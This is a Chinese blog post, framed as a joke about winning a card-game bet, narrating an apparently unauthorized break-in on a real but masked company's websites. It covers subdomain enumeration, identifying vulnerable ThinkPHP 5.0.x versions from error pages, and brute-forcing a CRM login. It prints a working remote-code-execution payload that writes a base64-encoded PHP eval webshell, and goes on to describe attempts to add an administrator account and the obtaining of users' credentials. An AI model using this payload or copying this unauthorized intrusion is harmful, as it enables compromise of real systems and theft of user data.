和妹子打赌的getshell之“我不做安全了,和我一起锄大地吧”
前言:
最近失业,流浪在各大街头和老头老太抢矿泉水瓶,掐架都比不过老太太,一天都没几个瓶子(喂,你们群里有瓶子嘛),回来和妹子锄大地吧。牌运倒是很好,赢了妹子好多局,惹得妹子急了:“你这么牛皮哄哄的,大黑阔了不起是吗,哼,也没见你拿过一个站”。凭借多年的高情商,我不仅没有哄妹子开心,还牛皮哄哄跟她打了赌,说今天就给你拿一个站。“好啊,你去吧。哼,不理你了”。看吧,等我拿下一个站后,她一定会很崇拜我的。
0x00 信息收集
信息收集绕不开,也是最重要的一个环节。选了某个企业,先对企业的进行域名信息收集。在百度上发现该企业的两个主站,分别是fxxxx.cc和jxxxx.com,分别进行了子域名的搜索。一般用他人的在线工具,以及Sublist3r、subDomainsBrute和Layer,整合它们的结果,必要时,再百度和Google搜集。大型的厂商建议做N级域名探测: 

0x01 意外的getshell
在对jxxxx.com进行跟进一步的信息收集与漏洞探测时,发现在URL后随意添加字符串,服务器会响应一个报错页面,并打印详细的信息。发现该站点使用了ThinkPHP框架,且版本号为5.0.23——表面毫无波澜,实则内心偷乐了一下。凭借多年的VMware下的yy渗透测试的经验,好吧,我承认我是垃圾哈哈哈哈。 


0x02 又一个shell
别我问为啥是这个标题,实在是想不出来了(狗头保命)。在crm登录界面,使用top500姓名和弱口令进行爆破,发现会被BAN掉;其余的登录处,top500都显示不存在该用户名——太难了。此时距离打牌以及一个钟头了,对fxxxx.cc的crm系统进行探测时,随手又来了一个乱写的URL,又是熟悉的界面,此时的ThinkPHP版本为5.0.12,版本号也是在漏洞范围内的。 

payload:index.php? s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=@file_put_contents(base64_decode(MTIzNDUucGhw),base64_decode(MTI8P3BocCBldmFsKEAkX1BPU1RbJ2EnXSk7)), 访问可以执行phpinfo(),蚁剑链接: 

0x03 getshell后续
当然,最终的目的肯定是远程桌面(开了3389端口)。故而,在demo.fxxxx.cc的shell上开终端,添加管理员账户,但是,很不幸地无法添加进管理员组: 



0x04 写在最后
第二天,醒来就把这些写下来了。当然,不做后续的测试,虽说拿到了用户的登录用户名密码,但是,也没啥意思了,还是和妹子打牌吧。然而,锄大地建房了,妹子始终不上线,啊咧!妹子输怕了吗?“gun啊!不想跟你说话了”。Orz。小破站,foieojoejgoisejgijohgudgadojefoejof不测了!
PS:文中的一切都是在梦游中发生的:)。


